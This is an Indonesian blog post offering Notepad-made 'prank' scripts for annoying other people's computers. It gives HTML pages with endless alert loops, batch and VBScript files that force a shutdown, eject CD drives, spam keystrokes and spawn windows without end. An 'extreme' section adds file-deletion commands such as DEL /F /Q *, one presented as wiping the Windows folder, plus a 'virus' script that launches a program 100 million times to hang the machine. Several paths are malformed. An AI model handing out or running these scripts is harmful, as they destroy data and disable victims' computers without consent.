Berawal dari Membaca cari2 sesuatu hal yang aneh di Google, sedikit demi sedikit akhirnya kita bisa tau dan pengalaman, untuk hari ini saya akan memposting sedikit kulasan tentang kegunaan Notepad, saya browsing kesana kemari tau tentang manfaat notepad, disini saya sedikit cara untuk bikin usil/pun jailin komputer, bikin ising orang lain kesel...ha...ha....ha...asyik juga, tapi jangan buat keterlaluan yah, ini cuma sekedar sharing ilmu ajah!!! tapi boleh kok dicoba....xi...xii....
=Script Biasa=
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer anda akan hancur")
var b = true
while (b == true)
{
alert("Silahkan ambil palu ajahâ?¦haâ?¦haâ?¦")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Atau yang inih
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer loo..kedinginan tuh")
var b = true
while (b == true)
{
alert("siram air ajah biar dingin")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Yang ini juga boleh
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("kamu bau bangetâ?¦")
var b = true
while (b == true)
{
alert("belum mandi yahâ?¦idihâ?¦.bau baget nih mo muntah")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Silahkan Script di atas di simpan dengan (.html)
keterangan : membuka browser habis itu keluar message terus menerus
Script 2
@ECHO off
:Begin
msg * -WARNING-
msg * Sory Virus Trojan....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN
simpan dengan .bat
keterangan : membuat pesan keluar terus
Script 3
@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"
simpan dengan (.bat)
keterangan : bikin sutdownt trus ada pesannya
Script 4
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan (.vbs)
keterangan : bikin iseng CD/VCD buka tutup melulu
Script 5
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
simpan dengan (.vbs)
keterangan : membuat vbs nongol terus
Script 6
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
simpan dengan (.vbs)
keterangan : bikin tombol backpace nekan melulu
Script 7
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop
simpan dengan (.vbs)
keterangan : bikin otomatis ngetik "eror" di Notepad/Word
Script 8
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
simpan dengan (.bat)
keterangan : membuat supaya buka notepad melulu
Script 9
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
simpan dengan (.vbs)
keterangan : membuat setiap kali buka notepad otomatis ngetik yang kalian mau
Script 10
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
simpan dengan (.vbs)
keterangan : mainin capslock
=Script Extreme=
Baiklah langsung aja sobat siapkan notepad terlabih dahulu dan silahkan tulis kode dibawah ini :
DEL /F /Q *
Simpan dengan nama (cybergun.cmd)
keterangan : Jika cybergun.cmd ini sobat buka maka file folder semua akan terhapus!
Dan coba sobat menulis script lagi di bawah yang ini
erase C:TEST.txt
Simpan dengan nama (cybergun1.cmd)
keterangan : Jika sobat buka maka file TEST.txt di drive C maka akan terhapus!
Dan coba lagi sobat ketik script yang ini
erase C:WINDOWS
Simpan dengan nama (cybergun2.cmd)
Keterangan : Jika sobat buka maka file folder windows akan terhapus semua!
Untuk yang bawah ini cara untuk membuat virus. Membuat virus bukanlah hal sulit karena kita membuatnya dengan notepad. Akan tetapi sobat ini jangan buat main2 yah saya cuman sekedar sharing ajah, apa bila terjadi sesuatu yang tidak diinginkan saya tidak ikut bertanggung jawab apa lagi dilakukan untuk tindakan kejahatan pada komputer teman sendiri o...h tidak! DILARANG KERAS! kareana virus ini membuat komputer terinfexsi yang tidak bisa berjalan sama sekali
langsung aja sob...buka notepad sobat semua
dan silahkan tulis script di bawah ini
option explicit
dim wshshell
set wshshell=wscript.createobject("wscript.shell")
dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next
simpan dengan nama (virus.vbs)
keterangan : dan silahkan jalankan file tersebut nah silahkan dilihat apa yang terjadi...? komputer sobat akan dipenuhi oleh 100000000 virus dan komputer tentunya akan hang total sebelum sobat mendelete semuanya
OK, Silahkan Dicoba
Ingat ya, Jangan Keterlaluan, Kasihan nanti Kompinya nya.....
0 komentar:
Posting Komentar